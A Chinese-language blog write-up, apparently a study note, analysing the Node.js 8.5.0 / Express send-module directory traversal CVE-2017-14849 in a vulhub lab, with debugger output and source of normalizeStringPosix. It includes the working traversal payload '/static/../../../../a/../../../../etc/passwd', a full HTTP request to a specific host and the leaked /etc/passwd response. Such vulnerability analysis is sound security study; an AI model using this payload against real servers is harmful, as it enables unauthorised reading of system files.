

Node.js 目录穿越漏洞(CVE-2017-14849)

第一次见这个漏洞是在一次比赛中，但是只是利用了，没有分析，下面就是具体的分析原理。

漏洞环境p师傅在github上制作好了。[CVE-2017-14849](#)

漏洞影响的版本：

- Node.js 8.5.0 & Express 3.19.0-3.21.2
- Node.js 8.5.0 & Express 4.11.0-4.15.5

在linux系统中进入漏洞环境目录

```
1 cd vulhub/node/CVE-2017-14849/
2 docker-compose build
3 docker-compose up -d
```

提醒一下如果没有开放端口，可以进docker-compose.yml进行修改端口

```
GET /static/../../../../a/../../../../etc/passwd HTTP/1.1
Host: 47.98.163.19:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0)
Gecko/20100101 Firefox/85.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
If-None-Match: W/"1f8-A9naZm3yu+VHL0CdBLtDGuvxxYs"
Cache-Control: max-age=0

HTTP/1.1 200 OK
X-Powered-By: Express
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Wed, 13 Sep 2017 20:05:31 GMT
ETag: W/"4d4-15e7cd8b6f0"
Content-Type: application/octet-stream
Content-Length: 1236
Date: Tue, 02 Feb 2021 14:59:39 GMT
Connection: close

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mail Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
```

```
1 normalizeStringwin32//去除...
```

```
> 断点
监视
((UP_PATH_REGEXP.test(normalize('.' + sep + path))): false
path: "../../../../a/../../../../etc/passwd"
normalize('.' + sep + path): "flag.txt"
normalize(join(root, path)): "e:\\flag.txt"
normalize(root + sep): "e:\\题目\\语言\\nodejs知识\\nodejs安全\\Node.js"
parts: undefined
assertPath(path): Uncaught ReferenceError: assertPath is not defined
len: Uncaught ReferenceError: len is not defined
path.charCodeAt(0): 47
code: Uncaught ReferenceError: code is not defined
path: "../../../../a/../../../../etc/passwd"
code: Uncaught ReferenceError: code is not defined
rootEnd: Uncaught ReferenceError: rootEnd is not defined
path.slice(rootEnd): Uncaught ReferenceError: rootEnd is not defined
isAbsolute: Uncaught ReferenceError: isAbsolute is not defined
path.length: 32
dots: Uncaught ReferenceError: dots is not defined
> res: ServerResponse {domain: null, _events: {}, _eventsCount: 1, _m
> 调用堆栈
> 已插入的脚本
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562

var parts
if (root !== null) {
  // malicious path 通过进入path.js的normalize函数进行调试
  if (UP_PATH_REGEXP.test(normalize('.' + sep + path))) {
    debug('malicious path "%s"', path)
    this.error(403)
    return res
  }

  // join / normalize from optional root dir
  path = normalize(join(root, path))
  root = normalize(root + sep)

  // explode path parts
  parts = path.substr(root.length).split(sep)
} else {
  // "." is malicious without "root"
  if (UP_PATH_REGEXP.test(path)) {
    debug('malicious path "%s"', path)
    this.error(403)
  }

  if (needsReplace) {
    // Find any more consecutive slashes we need to replace
    for (; slashCount < joined.length; ++slashCount) {
      code = joined.charCodeAt(slashCount);
      if (code !== 47 /* '/' */ && code !== 92 /* '\\' */)
        break;
    }

    // Replace the slashes if needed
    if (slashCount >= 2)
      joined = '\\' + joined.slice(slashCount);
  }

  return win32.normalize(joined);
},
```

```

监视
(UP_PATH_REGEXP.test(normalize('.') + sep + path)): false
path: 'e:\\flag.txt'
normalize('.') + sep + path: 'e:\\flag.txt'
normalize(join(root, path)): 'e:\\题目\\语言\\nodejs知识\\nodejs安全\\Node.js 目...'
normalize(root + sep): 'e:\\题目\\语言\\nodejs知识\\nodejs安全\\Node.js 目...'
typeof path: 'string'
win32.normalize(joined): Uncaught ReferenceError: win32 is not defined
> path.substr(root.length).split(sep): (1) ['']
path.join(__dirname, 'static'): Uncaught ReferenceError: __dirname is not...

592
593
594
595
596 this.sendFile(path)
597 return res
598
599
600
601 /**
602  * Transfer `path`.
603  * @param {String} path
604  * @api public
605  */

```

注意: 该漏洞是建立在文件夹通过express.static 来托管的情况下, 因为在这种情况下才会使用normalize函数进行path标准化。(发现来源于p神的分析)

比如代码这样写:

```
app.use(express.static(path.join(__dirname, 'static')));
```

那么payload应该是

```
../../../../a/../../../../etc/passwd
```

但代码如果是这样写的话:

```
app.use('/static',express.static(path.join(__dirname, 'static')));
```

那么payload应该为:

```
/static/../../../../a/../../../../etc/passwd
```

Send模块通过 normalize('.') + sep + path 标准化路径path后, 并没有赋值给path, 而是仅仅判断了是否存在目录跳转字符。如果我们能绕过目录跳转字符的判断, 就能把目录跳转字符带入545行的 join(root, path) 函数中, 跳转到我们想要跳转到的目录中, 这是Send模块的一个bug, 目前已经修复。

再来看Node.js, Node.js 8.5.0对path.js文件中的 normalizeStringPosix 函数进行了修改, 使其能够对路径做到如下的标准化:

```
1. assert.strictEqual(path.posix.normalize('bar/foo../..'), 'bar');
```

新的修改带来了问题, 通过单步调试我们发现, 可以通过 foo../.. 和目录跳转字符一起注入到路径中, foo../.. 可以把变量 isAboveRoot 设置为 false (代码161行), 并且在代码135行把自己删掉; 变量 isAboveRoot 为 false 的情况下, 可以通过 foo../.. 两边设置同样数量的跳转字符, 让他们同样在代码135行把自己删除, 这样就可以构造出一个带有跳转字符, 但是通过 normalizeStringPosix 函数标准化后又会自动移除的payload, 这个payload配合上面提到的Send模块bug就能够成功的返回一个我们想要的物理路径, 最后在Send模块中读取并返回文件。 normalizeStringPosix 函数如下图:

```

1 function normalizeStringPosix(path, allowAboveRoot) {
2   var res = '';
3   var lastSlash = -1;
4   var dots = 0;
5   var code;
6   var isAboveRoot = false;
7   for (var i = 0; i <= path.length; ++i) {
8     if (i < path.length)
9       code = path.charCodeAt(i);
10    else if (code === 47/*"/*/)
11      break;
12    else
13      code = 47/*"/*/;
14    if (code === 47/*"/*/) {
15      if (lastSlash === i - 1 || dots === 1) {
16        // NOOP
17      } else if (lastSlash !== i - 1 && dots === 2) {
18        if (res.length < 2 || !isAboveRoot ||
19          res.charCodeAt(res.length - 1) !== 46/*"."*/ ||
20          res.charCodeAt(res.length - 2) !== 46/*"."*/) {
21          if (res.length > 2) {
22            const start = res.length - 1;
23            var j = start;

```

```

24         for (; j >= 0; --j) {
25             if (res.charCodeAt(j) === 47/* */)
26                 break;
27         }
28         if (j !== start) {
29             if (j === -1)
30                 res = '';
31             else
32                 res = res.slice(0, j);
33             lastSlash = i;
34             dots = 0;
35             isAboveRoot = false;
36             continue;
37         }
38     } else if (res.length === 2 || res.length === 1) {
39         res = '';
40         lastSlash = i;
41         dots = 0;
42         isAboveRoot = false;
43         continue;
44     }
45 }
46 if (allowAboveRoot) {
47     if (res.length > 0)
48         res += '/..';
49     else
50         res = '..';
51     isAboveRoot = true;
52 }
53 } else {
54     if (res.length > 0)
55         res += '/' + path.slice(lastSlash + 1, i);
56     else
57         res = path.slice(lastSlash + 1, i);
58     isAboveRoot = false;
59 }
60 lastSlash = i;
61 dots = 0;
62 } else if (code === 46/* ./ */ && dots !== -1) {
63     ++dots;
64 } else {
65     dots = -1;
66 }
67 }
68 return res;
69 }

```

自己不知道说什么，反正提示了4个小时也是一知半解~ tcl

[Node.js CVE-2017-14849 漏洞分析](#)